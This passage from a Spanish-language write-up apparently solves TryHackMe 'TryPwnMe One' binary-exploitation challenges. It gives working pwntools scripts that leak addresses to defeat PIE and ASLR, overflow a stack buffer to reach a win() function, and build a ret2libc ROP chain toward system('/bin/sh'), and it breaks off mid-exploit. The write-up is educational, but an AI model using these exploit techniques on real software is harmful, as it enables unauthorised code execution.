Ahora utilizando objdump, vamos a obtener la dirección de memoria donde comienza la función vuln(). Esto nos permitirá calcular la dirección base del binario. Dado que PIE (Position Independent Executable) está habilitado, la dirección base del binario se asignará de forma aleatoria en cada ejecución. Por lo tanto, la dirección real de vuln() cambiará constantemente.

$ objdump -d random | grep vuln -A 5
0000000000001319 <vuln>:
    1319:       f3 0f 1e fa             endbr64
    131d:       55                      push   %rbp
    131e:       48 89 e5                mov    %rsp,%rbp
    1321:       48 81 ec 00 01 00 00    sub    $0x100,%rsp
    1328:       48 8d 35 ea ff ff ff    lea    -0x16(%rip),%rsi        # 1319 <vuln>
    132f:       48 8d 3d aa 0e 00 00    lea    0xeaa(%rip),%rdi        # 21e0 <_IO_stdin_used+0x1e0>
    1336:       b8 00 00 00 00          mov    $0x0,%eax
    133b:       e8 70 fd ff ff          call   10b0 <printf@plt>
    1340:       48 8d 3d b7 0e 00 00    lea    0xeb7(%rip),%rdi        # 21fe <_IO_stdin_used+0x1fe>
    1347:       e8 44 fd ff ff          call   1090 <puts@plt>
--
    1395:       e8 7f ff ff ff          call   1319 <vuln>
    139a:       b8 00 00 00 00          mov    $0x0,%eax
    139f:       5d                      pop    %rbp
    13a0:       c3                      ret
    13a1:       66 2e 0f 1f 84 00 00    cs nopw 0x0(%rax,%rax,1)
    13a8:       00 00 00 
$ objdump -d random | grep win -A 5 
0000000000001210 <win>:
    1210:       f3 0f 1e fa             endbr64
    1214:       55                      push   %rbp
    1215:       48 89 e5                mov    %rsp,%rbp
    1218:       48 8d 3d e9 0d 00 00    lea    0xde9(%rip),%rdi        # 2008 <_IO_stdin_used+0x8>
    121f:       e8 7c fe ff ff          call   10a0 <system@plt>
$ objdump -d random | grep ret     
    101a:       c3                      ret
    1138:       c3                      ret
    1178:       c3                      ret
    11b4:       c3                      ret
    11b8:       c3                      ret
    120f:       c3                      ret
    1226:       c3                      ret
    1318:       c3                      ret
    1373:       c3                      ret
    13a0:       c3                      ret
    1414:       c3                      ret
    1424:       c3                      ret
    1434:       c3                      ret

El offset de la funcion vuln() es 0x1319, de la funcion win() es 0x1210 y del gadget ret 0x101a. Con estos valores y el leak del buffer, podemos calcular la dirección base del binario en tiempo de ejecución y, a partir de ahí, determinar las direcciones exactas de win() y el gadget ret.

Restaremos la dirección del leak con el offset de la función vuln(), lo que nos da la dirección base del binario. Luego, con la dirección base calculada, sumamos los offsets de la función win() y del gadget ret para obtener sus direcciones exactas en memoria. El siguiente script realiza todo este proceso.

from pwn import *

context.binary = ELF('./random', checksec=False)
p = process()

# buffer leak
p.recvuntil(b'I can give you a secret ')
buffer_leak = int(p.recvline().strip(), 16)
log.info(f'Buffer leak = {hex(buffer_leak)}')

# offsets objdump
win_offset = 0x1210
vuln_offset = 0x1319
ret_offset = 0x101a

# offset calculation
base_address = buffer_leak - vuln_offset
log.info(f'Base address = {hex(base_address)}')

win_address = base_address + win_offset
log.info(f'Win function address = {hex(win_address)}')

ret_gadget = base_address + ret_offset
log.info(f'Gadget ret address = {hex(ret_gadget)}')

Al ejecutarlo tenemos las direcciones de todas las funciones en tiempos de ejecución.

$ python3 debug.py 
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81180
[*] Buffer leak = 0x63df69e1b319
[*] Base address = 0x63df69e1a000
[*] Win function address = 0x63df69e1b210
[*] Gadget ret address = 0x63df69e1b01a
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81180)
$ python3 debug.py
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81189
[*] Buffer leak = 0x5dba10a38319
[*] Base address = 0x5dba10a37000
[*] Win function address = 0x5dba10a38210
[*] Gadget ret address = 0x5dba10a3801a
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81189)
$ python3 debug.py
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81198
[*] Buffer leak = 0x5702a4c8d319
[*] Base address = 0x5702a4c8c000
[*] Win function address = 0x5702a4c8d210
[*] Gadget ret address = 0x5702a4c8d01a
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81198)
$ python3 debug.py
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81207
[*] Buffer leak = 0x55769dc4e319
[*] Base address = 0x55769dc4d000
[*] Win function address = 0x55769dc4e210
[*] Gadget ret address = 0x55769dc4e01a
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81207)

Ahora necesitamos calcular el offset necesario para sobrescribir el registro rsp y controlar el flujo de ejecución del programa. De esta forma, podemos identificar cuántos bytes necesitamos para llegar a la dirección de retorno y sobrescribirla adecuadamente, logrando así ejecutar el gadget ret y redirigir la ejecución a la funcion win().

gef➤  pattern create 500                                                                                                                                                                                                                                                                                                                                                                    
[+] Generating a pattern of 500 bytes (n=8)                                                                                                                                                                                                                                                                                  
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaa
aaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa                                                                                                                                                                                                     
[+] Saved as '$_gef1'                                                                                                                                                                                                                                                                                                        
gef➤  run                                                                                                                                                                                                                                                                                                                    
Starting program: /home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random                                                                                                                                                                                                                                            
[Thread debugging using libthread_db enabled]                                                                                                                                                                                                                                                                                
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                                                                                                                                                                                   
             ___     ___     ___     ___                                                                                                                                                                                                                                                                                     
           /    \  /    \  /    \  /    \                                                                                                                                                                                                                                                                                    
           |  CODE|  |  STACK|  |  HEAP|  |  LIBS|                                                                                                                                                                                                                                                                           
           \_____/  \_____/  \_____/  \_____/                                                                                                                                                                                                                                                                                
                   ^       ^       ^       ^                                                                                                                                                                                                                                                                                 
                   |       |       |       |                                                                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                                                                             
                   Powered by THMlabs                                                                                                                                                                                                                                                                                        
                Unpredictable locations                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                                                                             
I can give you a secret 555555555319                                                                                                                                                                                                                                                                                         
Where are we going? :                                                                                                                                                                                                                                                                                                        
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaa
aaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                                                                             
ok, let's go!                                                                                                                                                                                                                                                                                                                
                                                                                                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                                                                             
Program received signal SIGSEGV, Segmentation fault.                                                                                                                                                                                                                                                                         
0x0000555555555373 in vuln ()                                                                                                                                                                                                                                                                                                
[ Legend: Modified register | Code | Heap | Stack | String ]                                                                                                                                                                                                                                                                 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────                                                                                                                               
$rax   : 0x10                                                                  
$rbx   : 0x00007fffffffde080x00007fffffffe17d"/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMe[...]"                                                                                                                                                                                                             
$rcx   : 0x00007ffff7d1c574  →  0x5477fffff0003d48 ("H="?)                                                                                                    
$rdx   : 0x0                                                                   
$rsp   : 0x00007fffffffdcd8"iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]"                                                                     
$rbp   : 0x6261616161616168 ("haaaaaab"?)                                      
$rsi   : 0x00007ffff7e04643  →  0xe05710000000000a ("\n"?)                                                                                                    
$rdi   : 0x00007ffff7e05710  →  0x0000000000000000                                                                                                            
$rip   : 0x0000555555555373<vuln+005a> ret                                                                                                               
$r8    : 0xf                                                                   
$r9    : 0x0                                                                   
$r10   : 0x0                                                                   
$r11   : 0x202                                                                 
$r12   : 0x1                                                                   
$r13   : 0x0                                                                   
$r14   : 0x0                                                                   
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000555555554000 jg 0x555555554047                                                                                                                                                                                                                             
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]                                                                                                                                                                                                                  
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00                                                                                                   
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────                                                                                                                               
0x00007fffffffdcd8│+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]"    ← $rsp                                                               
0x00007fffffffdce0│+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpa[...]"                                                                         
0x00007fffffffdce8│+0x0010: "kaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqa[...]"                                                                         
0x00007fffffffdcf0│+0x0018: "laaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra[...]"                                                                         
0x00007fffffffdcf8│+0x0020: "maaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsa[...]"                                                                         
0x00007fffffffdd00│+0x0028: "naaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabta[...]"                                                                         
0x00007fffffffdd08│+0x0030: "oaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabua[...]"                                                                         
0x00007fffffffdd10│+0x0038: "paaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabva[...]"                                                                         
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────                                                                                                                               
   0x55555555536c <vuln+0053>      call   0x555555555090 <puts@plt>                                                                                           
   0x555555555371 <vuln+0058>      nop                                         
   0x555555555372 <vuln+0059>      leave                                       
 → 0x555555555373 <vuln+005a>      ret                                         
[!] Cannot disassemble from $PC                                                
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────                                                                                                                               
[#0] Id 1, Name: "random", stopped 0x555555555373 in vuln (), reason: SIGSEGV                                                                                 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────                                                                                                                               
[#0] 0x555555555373 → vuln()                                                   
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────                                                                                                                               
gef➤  pattern search $rsp                                                      
[+] Searching for '6961616161616162'/'6261616161616169' with period=8                                                                                         
[+] Found at offset 264 (little-endian search) likely

Necesitamos enviar 264 bytes como padding para llegar al registro rsp y así poder controlar la ejecución del programa. Este padding nos permitirá sobrescribir la dirección de retorno y redirigir la ejecución del flujo del programa a la dirección que hemos calculado previamente (la dirección de la función win()). Con esto, podemos completar el script y resolver el desafío.

Flag

Con el siguiente script podemos resolver el desafio.

from pwn import *

context.binary = ELF('./random', checksec=False)
p = remote('10.10.51.105', 9007)

# buffer leak
p.recvuntil(b'I can give you a secret ')
buffer_leak = int(p.recvline().strip(), 16)
log.info(f'Buffer leak = {hex(buffer_leak)}')

# offsets objdump
win_offset = 0x1210
vuln_offset = 0x1319
ret_offset = 0x101a

# offset calculation
base_address = buffer_leak - vuln_offset
log.info(f'Base address = {hex(base_address)}')

win_address = base_address + win_offset
log.info(f'Win function address = {hex(win_address)}')

ret_gadget = base_address + ret_offset
log.info(f'Gadget ret address = {hex(ret_gadget)}')

# offset rsp
offset = 264
junk = b'A' * offset

# send payload
payload = junk
payload += p64(ret_gadget)
payload += p64(win_address)

# gotta shell!
p.sendline(payload)
p.interactive()

Al ejecutarlo obtenemos una shell inversa y podemos leer la flag.

$ python3 debug.py 
[+] Opening connection to 10.10.51.105 on port 9007: Done
[*] Buffer leak = 0x55d90b847319
[*] Base address = 0x55d90b846000
[*] Win function address = 0x55d90b847210
[*] Gadget ret address = 0x55d90b84701a
[*] Switching to interactive mode
Where are we going? : 

ok, let's go!

$ ls
flag.txt
run
$ cat flag.txt
THM{Th1s_R4ndom_acc3ss_m3mories_tututut_byp4ssed}

The Librarian

Se nos proporciona un binaro con las siguientes protecciones.

$ checksec thelibrarian 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No

Tambien nos entregan su codigo fuente y la biblioteca estandar con la que fue compilada el binario libc.so.6.

void vuln(){
    char *buf[0x20];
    puts("Again? Where this time? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
    }

int main(){
    setup();
    vuln();

}

Analisis del codigo fuente

Se define la función vuln(), la cual crea un buffer de 0x20 bytes (32 en decimal), imprime algunos mensajes con puts() y recibe nuestra entrada mediante la función read(). Esta implementación es vulnerable a Buffer Overflow, ya que permite leer hasta 0x200 bytes (512 en decimal), superando el tamaño del buffer. Finalmente, en la función main(), se realiza la llamada a vuln(). Dado que la función es vulnerable, es posible ejecutar el binario, ingresar una gran cantidad de bytes y observar cómo el programa se bloquea debido al desbordamiento del buffer.

$ ./thelibrarian 
Again? Where this time? : 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ok, let's go!

[1]    25540 segmentation fault (core dumped)  ./thelibrarian

En este caso, no existe una función tipo win() a la cual redirigir la ejecución ni una variable que deba modificarse para cumplir una sentencia de control. El binario únicamente cuenta con estas dos funciones y la biblioteca estándar con la que fue compilado.

Estrategia de explotación

Para resolver este desafío, se debe utilizar una técnica llamada ret2libc. Esta consiste en aprovechar la vulnerabilidad de Buffer Overflow para redirigir el flujo de ejecución del programa hacia funciones de la biblioteca estándar libc, como system(). Al hacerlo, es posible ejecutar comandos arbitrarios, como una shell, sin necesidad de ejecutar código inyectado.

Sin embargo, en este caso, ASLR (Address Space Layout Randomization) está habilitado, lo que significa que las direcciones de libc cambian en cada ejecución. Para evadir esta proteccion y calcular la dirección base de libc, es necesario filtrar en tiempo de ejecución la dirección de alguna función dentro de la biblioteca. Con esta información, se puede determinar la ubicación real de system() y la cadena “/bin/sh”, permitiendo así la ejecución de comandos arbitrarios.

Dado que el binario es vulnerable a Buffer Overflow, es posible tomar el control del flujo de ejecución y llamar a una función como puts() para imprimir la dirección de otra función. Para ello, se utilizará la entrada de puts en la Procedure Linkage Table (PLT), la cual permite resolver direcciones de funciones en tiempo de ejecución. Como puts() imprime una cadena de caracteres a partir de una dirección de memoria, se le pasará como argumento la dirección de una función en la Global Offset Table (GOT), que almacena la dirección real de la función una vez ha sido resuelta por el enlazador dinámico.

En arquitecturas de 64 bits, el primer argumento de una función debe almacenarse en el registro rdi antes de la llamada. Para lograrlo, se recurrirá a gadgets, pequeñas secuencias de instrucciones que finalizan con ret, lo que permite encadenarlas en una ROP chain. Esta técnica es clave para explotar binarios protegidos con NX, ya que posibilita la ejecución de código controlado sin necesidad de inyectar instrucciones en la pila.

Explotación

Primero, es necesario identificar la dirección de puts() en la PLT y GOT. Para ello utilizaremos la herramienta objdump.

$ objdump -d thelibrarian | grep puts
00000000004004e0 <puts@plt>:
  4004e0:	ff 25 32 0b 20 00    	jmp    *0x200b32(%rip)        # 601018 <puts@GLIBC_2.2.5>
  400650:	e8 8b fe ff ff       	call   4004e0 <puts@plt>
  400675:	e8 66 fe ff ff       	call   4004e0 <puts@plt>

Se puede observar que puts() tiene una entrada en la PLT en 0x4004e0 y una referencia en la GOT en 0x601018.

Ahora es necesario encontrar un gadget que cargue la dirección de puts en la GOT dentro del registro rdi, ya que este es el primer argumento en las llamadas a funciones en arquitecturas de 64 bits. Un gadget útil para este propósito es pop rdi; ret, el cual extrae un valor de la pila y lo almacena en rdi antes de retornar. Para localizarlo dentro del binario, utilizaremos la herramienta ropper.

$ ropper --file thelibrarian --search 'pop rdi; ret'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret

[INFO] File: thelibrarian
0x0000000000400639: pop rdi; ret;

Por último, es necesario obtener la dirección de main, ya que será la última dirección de memoria a la que llamaremos en la ROP chain. Esto permitirá reiniciar la ejecución del programa sin que el proceso se cierre, facilitando la fuga de información y la posterior explotación. Para encontrar esta dirección, utilizaremos el comando info functions en GDB.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x00000000004004b0  _init
0x00000000004004e0  puts@plt
0x00000000004004f0  read@plt
0x0000000000400500  setvbuf@plt
0x0000000000400510  _start
0x0000000000400540  _dl_relocate_static_pie
0x0000000000400550  deregister_tm_clones
0x0000000000400580  register_tm_clones
0x00000000004005c0  __do_global_dtors_aux
0x00000000004005f0  frame_dummy
0x00000000004005f2  setup
0x0000000000400635  help
0x000000000040063e  vuln
0x000000000040067d  main
0x00000000004006a0  __libc_csu_init
0x0000000000400710  __libc_csu_fini
0x0000000000400714  _fini

Lo último que nos quedaría para comenzar a escribir el exploit sería calcular el offset necesario para llegar al registro rsp (donde se almacena la dirección de retorno antes de llamar a una función). Este offset nos permitirá sobrescribir la dirección de retorno y controlar el flujo de ejecución. Para esto utilizaremos GDB.

gef➤  pattern create 500                                                                                                                                                                                                                                                              
[+] Generating a pattern of 500 bytes (n=8)                                                                                                                                                                                                                                           
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaa
abkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa                                                        
[+] Saved as '$_gef0'                                                                                                                                                                                                                                                                 
gef➤  run                                                                                                                                                                                                                                                                             
Starting program: /home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian                                                                                                                                                                                                 
Again? Where this time? :                                                                                                                                                                                                                                                             
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaa
abkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa                                                        
                                                                                                                                                                                                                                                                                      
ok, let's go!                                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                      
Program received signal SIGSEGV, Segmentation fault.                                                                                                                                                                                                                                  
0x000000000040067c in vuln ()                                                                                                                                                                                                                                                         
[ Legend: Modified register | Code | Heap | Stack | String ]                                                                                                                                                                                                                          
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────                                                        
$rax   : 0x10                                                        
$rbx   : 0x0                                                         
$rcx   : 0x00007ffff7910104  →  0x5477fffff0003d48 ("H="?)                                                                                 
$rdx   : 0x00007ffff7bed8c0  →  0x0000000000000000                   
$rsp   : 0x00007fffffffdd18"iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]"                                                  
$rbp   : 0x6261616161616168 ("haaaaaab"?)                            
$rsi   : 0x00007ffff7bec7e3  →  0xbed8c0000000000a ("\n"?)                                                                                 
$rdi   : 0x1                                                         
$rip   : 0x000000000040067c<vuln+003e> ret                      
$r8    : 0xf                                                         
$r9    : 0x00007ffff7ff8540  →  0x00007ffff7ff8540  →  [loop detected]                                                                     
$r10   : 0x3                                                         
$r11   : 0x246                                                       
$r12   : 0x0000000000400510<_start+0000> xor ebp, ebp                                                                                 
$r13   : 0x00007fffffffde00  →  0x0000000a6161616d ("maaa\n"?)                                                                             
$r14   : 0x0                                                         
$r15   : 0x0                                                         
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]                                
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00                                                                                
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────                                                        
0x00007fffffffdd18│+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]"    ← $rsp                                            
0x00007fffffffdd20│+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpa[...]"                                                      
0x00007fffffffdd28│+0x0010: "kaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqa[...]"                                                      
0x00007fffffffdd30│+0x0018: "laaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra[...]"                                                      
0x00007fffffffdd38│+0x0020: "maaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsa[...]"                                                      
0x00007fffffffdd40│+0x0028: "naaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabta[...]"                                                      
0x00007fffffffdd48│+0x0030: "oaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabua[...]"                                                      
0x00007fffffffdd50│+0x0038: "paaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabva[...]"                                                      
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────                                                        
     0x400675 <vuln+0037>      call   0x4004e0 <puts@plt>                                                                                  
     0x40067a <vuln+003c>      nop                                   
     0x40067b <vuln+003d>      leave                                 
 →   0x40067c <vuln+003e>      ret                                   
[!] Cannot disassemble from $PC                                      
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────                                                        
[#0] Id 1, Name: "thelibrarian", stopped 0x40067c in vuln (), reason: SIGSEGV                                                              
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────                                                        
[#0] 0x40067c → vuln()                                               
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────                                                        
gef➤  pattern search $rsp                                            
[+] Searching for '6961616161616162'/'6261616161616169' with period=8                                                                      
[+] Found at offset 264 (little-endian search) likely

Necesitamos 264 caracteres.

Con esto, se ha desarrollado el siguiente script que permite realizar una fuga de la dirección de puts() en tiempo de ejecución.

from pwn import *

context.binary = ELF('./thelibrarian')
p = process()

# offset return address
offset = 264
junk = b'A' * offset

# gadgets and functions
puts_plt = 0x4004e0
puts_got = 0x601018
pop_rdi_ret = 0x400639
ret = 0x4004c6
main_function = 0x40067d

# payload
payload = junk
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_function)

p.sendline(payload)
p.interactive()

Al ejecutar el script, podemos observar que se realiza la fuga de la dirección de puts() y el programa vuelve a ejecutar la función main().

$ python3 debug.py
[*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian': pid 36951
[*] Switching to interactive mode
Again? Where this time? : 

ok, let's go!

p       H\xa4\xbcu
Again? Where this time? : 
$

Ahora, utilizando u64(), podemos almacenar la dirección de memoria en una variable. Con esta información, podemos calcular la dirección base de la librería glibc en tiempo de ejecución. Para hacerlo, simplemente restamos la dirección de puts con su respectivo offset. El offset de puts en glibc es 0x80970, por lo que debemos restarlo a la dirección obtenida de puts en tiempo de ejecución.

$ readelf -s libc.so.6 | grep 'puts'
   192: 0000000000080970   512 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.2.5
   423: 0000000000080970   512 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5

De esta forma, con las siguientes lineas realizamos los calculos.

p.recvuntil(b"ok, let's go!\n\n")
puts_address = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address = {hex(puts_address)}')

puts_offset = 0x80970
glibc_base_address = puts_address - puts_offset
log.info(f'Glibc base address = {hex(glibc_base_address)}')

Cuando ejecutamos este script, podemos ver que la dirección base de glibc siempre termina en 000. Esto es esperado, ya que por convención en Linux, el ASLR alinea la base de las bibliotecas en múltiplos de 0x1000.

$ python3 debug.py
[*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian': pid 42059
[*] Leaked puts() address = 0x76c9d8280970
[*] Glibc base address = 0x76c9d8200000
[*] Switching to interactive mode
Again? Where this time? : 
$

Ahora que tenemos la dirección base de glibc, necesitamos llamar a la función system con “/bin/sh” como argumento para obtener una shell. Para obtener las direcciones necesarias, usamos readelf para localizar la dirección de system en las tablas de símbolos de glibc y strings para buscar la cadena “/bin/sh”, que será utilizada como argumento para la función system.

$ readelf -s libc.so.6 | grep 'system'  
  1406: 000000000004f420    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
$ strings -atx libc.so.6 | grep '/bin/sh'
 1b3d88 /bin/sh

Ya con esto podemos crear la segunda ROP Chain.

system_offset = 0x4f420
bin_sh_offset = 0x1b3d88

